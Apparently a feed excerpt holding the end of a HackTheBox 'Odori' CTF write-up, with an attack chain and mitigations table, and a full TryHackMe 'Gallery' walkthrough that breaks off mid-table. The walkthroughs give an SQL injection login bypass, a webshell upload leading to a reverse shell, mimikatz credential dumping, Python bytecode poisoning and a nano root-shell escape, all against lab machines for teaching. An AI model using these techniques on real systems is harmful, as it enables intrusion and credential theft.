&lt;pre class="highlight shell"&gt;&lt;code&gt;rootbash-5.1# &lt;span class="nb"&gt;cd&lt;/span&gt; /root
rootbash-5.1# &lt;span class="nb"&gt;ls
&lt;/span&gt;root.txt  snap
rootbash-5.1# &lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
REDACTED
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  9. Attack Chain Summary
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Odori
│
├─ Recon
│   ├─ Nmap: SSH (22), Samba (139/445) only - no web surface
│   ├─ SMB null session -&amp;gt; anonymous access to `backup` share
│   └─ info.txt -&amp;gt; hint: "download the .vmdk file"
│
├─ Offline Disk Analysis
│   ├─ Extract 7z -&amp;gt; file02.vmdk (19 GiB)
│   ├─ qemu-img info/check -&amp;gt; valid, standalone, monolithicSparse
│   └─ virt-filesystems / virt-ls -&amp;gt; Windows (EFI + MS Boot Manager), sda3 = BitLocker volume
│
├─ BitLocker Bypass
│   ├─ Boot VM -&amp;gt; BitLocker password prompt discovered
│   ├─ bitlocker2john -&amp;gt; hash extracted
│   └─ john + rockyou -&amp;gt; password cracked: 123456789
│
├─ Windows Access (SYSTEM)
│   ├─ Boot VM in VMware (host-only network) -&amp;gt; BitLocker unlock works, but no Windows creds
│   ├─ Boot to firmware -&amp;gt; installation ISO -&amp;gt; WinRE -&amp;gt; Command Prompt
│   ├─ diskpart -&amp;gt; unlock volume with manage-bde -unlock
│   ├─ Swap sethc.exe &amp;lt;-&amp;gt; cmd.exe (Sticky Keys)
│   └─ Reboot -&amp;gt; Shift x5 at logon -&amp;gt; SYSTEM cmd.exe
│
├─ Credential Access
│   ├─ mimikatz lsadump::sam -&amp;gt; NTLM hashes (Administrator, svc_backup)
│   │   └─ Pass-the-hash vs Samba -&amp;gt; Guest only (dead end)
│   └─ mimikatz vault::cred /patch -&amp;gt; cleartext scheduled-task password
│       └─ svc_backup : Napping2Curator
│
├─ Linux Shell Access
│   ├─ ssh svc_backup -&amp;gt; authenticates but hangs (ForceCommand)
│   ├─ sftp svc_backup -&amp;gt; works; sshd_config confirms Match group + ForceCommand /opt/restrict
│   ├─ Weaknesses: /opt/restrict writable, .ssh writable over SFTP
│   ├─ Upload SSH pubkey + overwrite /opt/restrict with `/bin/bash -i`
│   └─ ssh -i key svc_backup -&amp;gt; interactive shell (no sudo rights)
│
├─ User Flag
│   └─ Read via SFTP before the shell escape
│
├─ Privilege Escalation
│   ├─ Enumeration
│   │   ├─ SUID binaries all patched (pkexec etc.) - dead end
│   │   └─ pspy64 -&amp;gt; root cron: python3 /opt/archiver/app.py (every minute)
│   │
│   ├─ Attempt 1: tar argument injection - FAILED
│   │   └─ One tar process per file -&amp;gt; injected flags never land together
│   │
│   └─ Attempt 2: __pycache__ bytecode poisoning - SUCCESS
│       ├─ helper.cpython-310.pyc writable by svc_backup
│       ├─ Forge .pyc: module-level payload + header (mtime, size) matching real helper.py
│       ├─ Drop into /opt/archiver/__pycache__/
│       └─ Next cron tick -&amp;gt; payload runs as root -&amp;gt; SUID /tmp/rootbash
│
└─ Root Flag
    └─ /tmp/rootbash -p -&amp;gt; root shell -&amp;gt; cat /root/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  10. Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Weakness&lt;/th&gt;
&lt;th&gt;Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;BitLocker protected by a weak, rockyou-crackable password (&lt;code&gt;123456789&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Enforce a strong passphrase or TPM-backed key policy; don't rely on a user password alone for at-rest encryption&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Local Administrator/recovery access obtainable via WinRE + Sticky Keys binary swap&lt;/td&gt;
&lt;td&gt;Disable boot-to-WinRE/external-media recovery where not needed, or enforce BitLocker pre-boot authentication so the OS volume can't be mounted from an offline recovery shell at all; Secure Boot + a signed boot chain also blocks the &lt;code&gt;sethc.exe&lt;/code&gt; swap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cleartext scheduled-task password recoverable from Credential Manager via &lt;code&gt;vault::cred /patch&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Avoid storing passwords for scheduled/service accounts in the Windows Credentials vault; use a gMSA, a Windows service account with no interactive logon, or a secrets manager instead&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SMB &lt;code&gt;backup&lt;/code&gt; share readable via anonymous/null session&lt;/td&gt;
&lt;td&gt;Disable SMB null sessions / guest access; require authentication on every share, even "informational" ones&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;ForceCommand /opt/restrict&lt;/code&gt; relied on for shell restriction, but the script itself and &lt;code&gt;.ssh&lt;/code&gt; are writable by the restricted account&lt;/td&gt;
&lt;td&gt;Restricted shells must not be writable by the account they restrict; ship them root-owned and read-only (0755 root:root), and lock down &lt;code&gt;~/.ssh&lt;/code&gt; similarly or disable key-based auth for that account entirely&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;/opt/archiver/__pycache__&lt;/code&gt; world-writable, with a &lt;code&gt;.pyc&lt;/code&gt; owned by the low-privileged service account&lt;/td&gt;
&lt;td&gt;Never let an unprivileged account own or write into a privileged process's &lt;code&gt;__pycache__&lt;/code&gt;; run &lt;code&gt;python3 -B&lt;/code&gt; (or set &lt;code&gt;PYTHONDONTWRITEBYTECODE=1&lt;/code&gt;) for privileged scripts, or ship pre-compiled bytecode owned by root with a root-only cache directory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;app.py&lt;/code&gt;/&lt;code&gt;helper.py&lt;/code&gt; run unsanitized filenames from a world-writable &lt;code&gt;/backup&lt;/code&gt; directly into &lt;code&gt;tar&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Don't pass user-controlled filenames straight into &lt;code&gt;tar&lt;/code&gt;'s argument list; use &lt;code&gt;tar --&lt;/code&gt; with validated/sanitized names, or call &lt;code&gt;tarfile&lt;/code&gt; from Python instead of shelling out&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root cron job runs code out of a directory (&lt;code&gt;/opt/archiver&lt;/code&gt;) with any component writable by a non-root account&lt;/td&gt;
&lt;td&gt;Principle of least privilege for cron/scheduled jobs: the entire execution path (script, imports, cache, working directory) should be root-owned and non-writable by the account that triggers or feeds it data&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  11. References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://hardsoftsecurity.es/index.php/2026/01/19/python-cache-poisoning-privesc-linux/" rel="noopener noreferrer"&gt;Python Cache Poisoning - PrivEsc - Linux (Hardsoft Security)&lt;/a&gt; - background and manual exploitation steps for the &lt;code&gt;__pycache__&lt;/code&gt; bytecode-poisoning technique used in Section 7.4&lt;/li&gt;
&lt;li&gt;
&lt;a href="//pycache_poison.py"&gt;&lt;code&gt;pycache_poison.py&lt;/code&gt;&lt;/a&gt; - this repo's reusable script automating the technique (Section 7.5)&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>hackthebox</category>
      <category>writeup</category>
    </item>
    <item>
      <title>TryHackMe: Gallery Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Mon, 12 Oct 2026 13:47:12 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-gallery-writeup-1hf2</link>
      <guid>https://dev.to/exploitnotes/tryhackme-gallery-writeup-1hf2</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Gallery is a Linux box running a "Simple Image Gallery System" PHP application on port 8080. The login form is vulnerable to a classic SQL injection auth bypass, which grants admin access. The admin profile page allows an avatar upload with no file-type restriction, enabling a PHP webshell upload and remote code execution as &lt;code&gt;www-data&lt;/code&gt;. Database credentials recovered from the source lead to the &lt;code&gt;gallery_db&lt;/code&gt; MySQL instance, and a world-readable backup of a user's &lt;code&gt;.bash_history&lt;/code&gt; leaks a plaintext password for the user &lt;code&gt;mike&lt;/code&gt;. Once logged in as &lt;code&gt;mike&lt;/code&gt;, a misconfigured sudo rule allows running &lt;code&gt;/opt/rootkit.sh&lt;/code&gt; as root with no password; the script shells out to &lt;code&gt;nano&lt;/code&gt; as root, which is abused as a GTFOBin to spawn a root shell.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Recon
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt; &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Open &amp;lt;MACHINE_IP&amp;gt;:22
Open &amp;lt;MACHINE_IP&amp;gt;:80
Open &amp;lt;MACHINE_IP&amp;gt;:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80,8080 &lt;span class="nt"&gt;-oN&lt;/span&gt; gallery-nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Simple Image Gallery System
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Port 80 is the stock Apache default page (nothing of interest). Port 8080 redirects to &lt;code&gt;/gallery/login.php&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://&amp;lt;MACHINE_IP&amp;gt;/gallery/./login.php&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This revealed the real document root is &lt;code&gt;/gallery/&lt;/code&gt; under the port-80 vhost, and the app is "Simple Image Gallery System" by &lt;code&gt;oretnom23&lt;/code&gt;, v1.0.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. SQL Injection Auth Bypass
&lt;/h2&gt;

&lt;p&gt;The login form posts a username and password to &lt;code&gt;login.php&lt;/code&gt;. Supplying a classic boolean-based injection in the username field bypasses authentication entirely:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Username: &lt;code&gt;' or 1=1-- -&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Password: anything (&lt;code&gt;1234&lt;/code&gt; used here)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This logged straight in as the first user in the &lt;code&gt;users&lt;/code&gt; table, the admin account, confirming the login query is unparameterized and string-concatenated.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Admin Panel -&amp;gt; Arbitrary File Upload -&amp;gt; RCE
&lt;/h2&gt;

&lt;p&gt;Once authenticated as admin, the profile page at &lt;code&gt;?page=user&lt;/code&gt; exposes an avatar upload field with no server-side extension or content-type validation. Uploading a PHP webshell as the avatar is accepted and stored under &lt;code&gt;uploads/&lt;/code&gt;, and is directly reachable and executable from the web root. The avatar is rendered back into the admin UI itself, so after submitting the update, simply reloading the page (or navigating back to the dashboard) is enough to load the uploaded avatar and trigger execution - no need to browse to the file path directly. A listener was staged first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope listen &lt;span class="nt"&gt;-p&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Triggering the shell gave an interactive callback:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] [New Reverse Shell] =&amp;gt; ip-&amp;lt;MACHINE_IP&amp;gt; &amp;lt;MACHINE_IP&amp;gt; Linux-x86_64  www-data(33)  Session ID &amp;lt;1&amp;gt;
www-data@ip-&amp;lt;MACHINE_IP&amp;gt;:/$ whoami
www-data
www-data@ip-&amp;lt;MACHINE_IP&amp;gt;:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. Source Review and Database Access
&lt;/h2&gt;

&lt;p&gt;Reading the application source confirmed the injection point and surfaced database credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;-&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;MACHINE_IP&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;:/&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gallery&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="n"&gt;cat&lt;/span&gt; &lt;span class="n"&gt;initialize&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;
&lt;span class="nv"&gt;$dev_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;'-1'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'firstname'&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;'Developer'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'lastname'&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;'dev_oretnom'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;'5da283a2d990e8d8512cf967df5bc0d0'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;...&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;defined&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'DB_SERVER'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'DB_SERVER'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"localhost"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;defined&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'DB_USERNAME'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'DB_USERNAME'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"gallery_user"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;defined&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'DB_PASSWORD'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'DB_PASSWORD'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"passw0rd321"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;defined&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'DB_NAME'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'DB_NAME'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"gallery_db"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using these credentials directly against the local MySQL instance (binding only to &lt;code&gt;127.0.0.1:3306&lt;/code&gt;) worked even though the same creds failed when the shell's effective user didn't match what MySQL expected over the socket:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;www-data@ip-&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;:/var/www&lt;span class="nv"&gt;$ &lt;/span&gt;mysql &lt;span class="nt"&gt;-u&lt;/span&gt; gallery_user &lt;span class="nt"&gt;-p&lt;/span&gt;&lt;span class="s1"&gt;'passw0rd321'&lt;/span&gt; &lt;span class="nt"&gt;-h&lt;/span&gt; 127.0.0.1 &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"use gallery_db; select * from users;"&lt;/span&gt;
&lt;span class="go"&gt;+----+--------------+----------+----------+----------------------------------+
| id | firstname    | lastname | username | password                         |
+----+--------------+----------+----------+----------------------------------+
|  1 | Adminstrator | Admin    | admin    | a228b12a08b6527e7978cbe5d914531c |
+----+--------------+----------+----------+----------------------------------+
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This confirms the admin table entry used in the SQLi bypass, though database access doesn't directly advance privilege escalation on its own.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Local Enumeration and Lateral Movement to mike
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;www-data@ip-&amp;lt;MACHINE_IP&amp;gt;:/var$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:ubuntu:/home/ubuntu:/bin/bash
mike:x:1001:1001:mike:/home/mike:/bin/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/home/mike&lt;/code&gt; itself wasn't readable, but a backup copy of the home directory was world-readable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;www-data@ip-&amp;lt;MACHINE_IP&amp;gt;:/var$ ls -la /var/backups/mike_home_backup/
-rwxr-xr-x 1 root root  135 May 24  2021 .bash_history
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@ip-&amp;lt;MACHINE_IP&amp;gt;:/var&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /var/backups/mike_home_backup/.bash_history
&lt;span class="nb"&gt;cd&lt;/span&gt; ~
&lt;span class="nb"&gt;ls
&lt;/span&gt;ping 1.1.1.1
&lt;span class="nb"&gt;cat&lt;/span&gt; /home/mike/user.txt
&lt;span class="nb"&gt;cd&lt;/span&gt; /var/www/
&lt;span class="nb"&gt;ls
cd &lt;/span&gt;html
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-al&lt;/span&gt;
&lt;span class="nb"&gt;cat &lt;/span&gt;index.html
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-lb3stpassw0rdbr0xx&lt;/span&gt;
clear
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The line &lt;code&gt;sudo -lb3stpassw0rdbr0xx&lt;/code&gt; is mike typing his sudo password straight after &lt;code&gt;sudo -l&lt;/code&gt; without a space (the shell echoed it back into history as one token). The password is &lt;code&gt;b3stpassw0rdbr0xx&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;www-data@ip-&amp;lt;MACHINE_IP&amp;gt;:/var$ su mike
Password: 
mike@ip-&amp;lt;MACHINE_IP&amp;gt;:/var$ cd ~
mike@ip-&amp;lt;MACHINE_IP&amp;gt;:~$ cat user.txt
THM{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  6. Privilege Escalation: sudo rootkit.sh -&amp;gt; nano GTFOBin
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mike@ip-&amp;lt;MACHINE_IP&amp;gt;:~$ sudo -l
User mike may run the following commands on ip-&amp;lt;MACHINE_IP&amp;gt;:
    (root) NOPASSWD: /bin/bash /opt/rootkit.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mike@ip-&amp;lt;MACHINE_IP&amp;gt;:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /opt/rootkit.sh
&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"Would you like to versioncheck, update, list or read the report ? "&lt;/span&gt; ans&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nv"&gt;$ans&lt;/span&gt; &lt;span class="k"&gt;in
    &lt;/span&gt;versioncheck&lt;span class="p"&gt;)&lt;/span&gt;
        /usr/bin/rkhunter &lt;span class="nt"&gt;--versioncheck&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    update&lt;span class="p"&gt;)&lt;/span&gt;
        /usr/bin/rkhunter &lt;span class="nt"&gt;--update&lt;/span&gt;&lt;span class="p"&gt;;;&lt;/span&gt;
    list&lt;span class="p"&gt;)&lt;/span&gt;
        /usr/bin/rkhunter &lt;span class="nt"&gt;--list&lt;/span&gt;&lt;span class="p"&gt;;;&lt;/span&gt;
    &lt;span class="nb"&gt;read&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        /bin/nano /root/report.txt&lt;span class="p"&gt;;;&lt;/span&gt;
    &lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;;&lt;/span&gt;
&lt;span class="k"&gt;esac&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;read&lt;/code&gt; branch opens &lt;code&gt;/root/report.txt&lt;/code&gt; in &lt;code&gt;nano&lt;/code&gt; as root. Modern nano supports executing a command and piping its output into the buffer (&lt;code&gt;Ctrl+R&lt;/code&gt;, &lt;code&gt;Ctrl+X&lt;/code&gt;), which runs as the nano process's user - root here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;mike@ip-&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /bin/bash /opt/rootkit.sh
&lt;span class="go"&gt;Would you like to versioncheck, update, list or read the report ? read
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inside nano: &lt;code&gt;Ctrl+R&lt;/code&gt; -&amp;gt; &lt;code&gt;Ctrl+X&lt;/code&gt; -&amp;gt; &lt;code&gt;Execute Command&lt;/code&gt; prompt -&amp;gt; entered:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;reset&lt;span class="p"&gt;;&lt;/span&gt; sh 1&amp;gt;&amp;amp;0 2&amp;gt;&amp;amp;0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This spawned an interactive root shell inside the nano session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# whoami&lt;/span&gt;
root
&lt;span class="c"&gt;# cd /root&lt;/span&gt;
&lt;span class="c"&gt;# ls&lt;/span&gt;
report.txt  root.txt
&lt;span class="c"&gt;# cat root.txt&lt;/span&gt;
THM&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;SQL injection, auth bypass&lt;/td&gt;
&lt;td&gt;&lt;code&gt;login.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated admin login&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Unrestricted file upload&lt;/td&gt;
&lt;td&gt;Admin profile avatar upload (&lt;code&gt;?page=user&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;PHP webshell upload -&amp;gt; RCE as &lt;code&gt;www-data&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Hardcoded DB credentials in source&lt;/td&gt;
&lt;td&gt;&lt;code&gt;initialize.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Full access to &lt;code&gt;gallery_db&lt;/code&gt;
&lt;/td&gt;
